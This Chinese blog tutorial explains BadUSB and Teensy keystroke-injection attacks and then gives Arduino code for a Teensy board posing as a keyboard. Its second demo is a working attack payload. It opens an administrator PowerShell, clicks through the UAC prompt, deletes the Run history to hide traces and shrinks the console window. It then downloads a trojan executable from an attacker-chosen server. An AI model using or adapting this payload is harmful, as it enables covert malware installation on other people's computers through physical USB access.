BadUSB原理
在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是”USB RUBBERDUCKY”和”Teensy”。
TEENSY介绍
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战》
USB RUBBER DUCKY介绍
简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。
这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。
U盘的内部构造
U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。
USB协议漏洞
为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。
现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。
BadUSB利用代码分析
笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。
这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。
原理部分就不赘述了,接写来我们讲准备部分。
要实现USB端口攻击,我们需要:
1.Teensy 开发板(淘宝上有卖40块左右,都可以使用)
2.Arduino IDE (去官网上下载最新版本,请合理使用百度)
3.Teensy 客户端 https://www.pjrc.com/teensy/td_download.html
如果你想更深入了解关于黑客知识和理论,建议你使用 BACK I TRACK 龍 系统。
实战部分:
1.新建一个demo
开始界面 1234567891011void
setup() {
// put your setup code here, to run once:
}
void
loop() {
// put your main code here, to run repeatedly:
}
// step 是初始化程序的地方
// loop 是我们要放置循环的地方
2.库函数及相关参数
开始界面 1234567891011#include<Keyboard.h> //包含键盘模块的头文件
Keyboard.begin();
//开启键盘通信
Keyboard.press();
//按下某个键
Keyboard.release();
//释放某个键
Keyboard.println();
/*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/
Keyboard.end();
//结束键盘通信
3.demo 1
demo1 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263#include<Keyboard.h> //包含键盘模块头文件
void
setup();
//初始化
Keyboard.begin();
//开始键盘通信
delay(1000);
//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
Keyboard.press(KEY_CAPS_LOCK);
//按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
Keyboard.release(KEY_CAPS_LOCK);
//释放大写键
delay(500);
Keyboard.press(KEY_LEFT_GUI);
//按下徽标键 也就是win键
delay(500);
Keyboard.press(
'r'
);
//按下r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
//松掉win键
Keyboard.release(
'r'
);
//松掉r键
delay(500);
Keyboard.println(
"cmd"
);
//输入cmd进入DOS
delay(500);
Keyboard.press(KEY_RETURN);
//按下回车键
Keyboard.release(KEY_RETURN);
//释放回车键
delay(500);
Keyboard.println(
"echo first test"
);
Keyboard.press(KEY_RETURN);
//按下回车键
Keyboard.release(KEY_RETURN);
//释放回车键
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
//按下大写键
Keyboard.release(KEY_CAPS_LOCK);
//释放大写键 我们再次关闭开启的大写键
delay(500);
Keyboard.end();
//结束键盘通讯
}
void
loop()
//循环,这里的代码
{
//循环体 写入你要循环的代码
}
编译成功
烧入程序
4.demo2
demo2 12345678910111213141516171819Keyboard.println(
"powershell.exe -command start-process powershell -verb runAs"
);
/*开启管理员级别的powershell*/
Keyboard.println(
"reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"
);
/*清除运行窗口产生的记录*/
Keyboard.println(
"cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"
);
//让cmd窗口变成一个很小的窗口
Keyboard.println(
"$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"
);
//利用powershell 定义一个对象
Keyboard.println(
"$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')"
);
/*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*/
//自己想了一个比较笨的方法绕过UAC 就是询问管理员是否同意的那个框框
Keyboard.press(KEY_LEFT_ARROW);
//按住左方向键
Keyboard.release(KEY_LEFT_ARROW);
//释放左方向键
Keyboard.press(KEY_RETURN);
//按下回车键
Keyboard.release(KEY_RETURN);
//释放enter键
- 这里我们为什么要开管理员的powershell 是因为从服务端下载文件的时候 首先CMD不支持,其次就算我们在cmd里调用powershell 那也不是管理员身份下载会出错。所以我们这里要开管理员的powershell 其实下载文件的操作code还有很多种 我这里是一种 如果大家有更好的下载方式可以和我说 谢谢 命令千奇百怪大家自己发挥
- 另外要注意的地方是在IDE编程的时候,指定目录是要用\\ 双斜杠。
- 这些命令字母的大小写是这样的,因为我们在程序开头执行了开启大写键的这个操作 ,所以我们想还原真实的字母就要在IDE里面把小写的改成大写,大写的改成小写 这样程序输出的时候就是我们想要的结果
- 还有就是delay(); 延这个东西自己把握,不是说值都是唯一的。我这里可能相对来说比较慢
最后附上键值表
键值表 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071Key Hexadecimal value Decimal value
KEY_LEFT_CTRL
0x80
128
KEY_LEFT_SHIFT
0x81
129
KEY_LEFT_ALT
0x82
130
KEY_LEFT_GUI
0x83
131
KEY_RIGHT_CTRL
0x84
132
KEY_RIGHT_SHIFT
0x85
133
KEY_RIGHT_ALT
0x86
134
KEY_RIGHT_GUI
0x87
135
KEY_UP_ARROW
0xDA
218
KEY_DOWN_ARROW
0xD9
217
KEY_LEFT_ARROW
0xD8
216
KEY_RIGHT_ARROW
0xD7
215
KEY_BACKSPACE
0xB2
178
KEY_TAB
0xB3
179
KEY_RETURN
0xB0
176
KEY_ESC
0xB1
177
KEY_INSERT
0xD1
209
KEY_DELETE
0xD4
212
KEY_PAGE_UP
0xD3
211
KEY_PAGE_DOWN
0xD6
214
KEY_HOME
0xD2
210
KEY_END
0xD5
213
KEY_CAPS_LOCK
0xC1
193
KEY_F1
0xC2
194
KEY_F2
0xC3
195
KEY_F3
0xC4
196
KEY_F4
0xC5
197
KEY_F5
0xC6
198
KEY_F6
0xC7
199
KEY_F7
0xC8
200
KEY_F8
0xC9
201
KEY_F9
0xCA
202
KEY_F10
0xCB
203
KEY_F11
0xCC
204
KEY_F12
0xCD
205
参考http://www.freebuf.com/sectool/107242.html
FAQ
1.'Keyboard' was not declared in this scope?
安装keyboard库就好。具体查看Arduino官网。
http://www.visualmicro.com/forums/yabb.pl?num=1412496583
二月 | ||||||
---|---|---|---|---|---|---|
日 | 一 | 二 | 三 | 四 | 五 | 六 |
26 | 27 | 28 | 29 | 30 | 31 | 1 |
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 1 |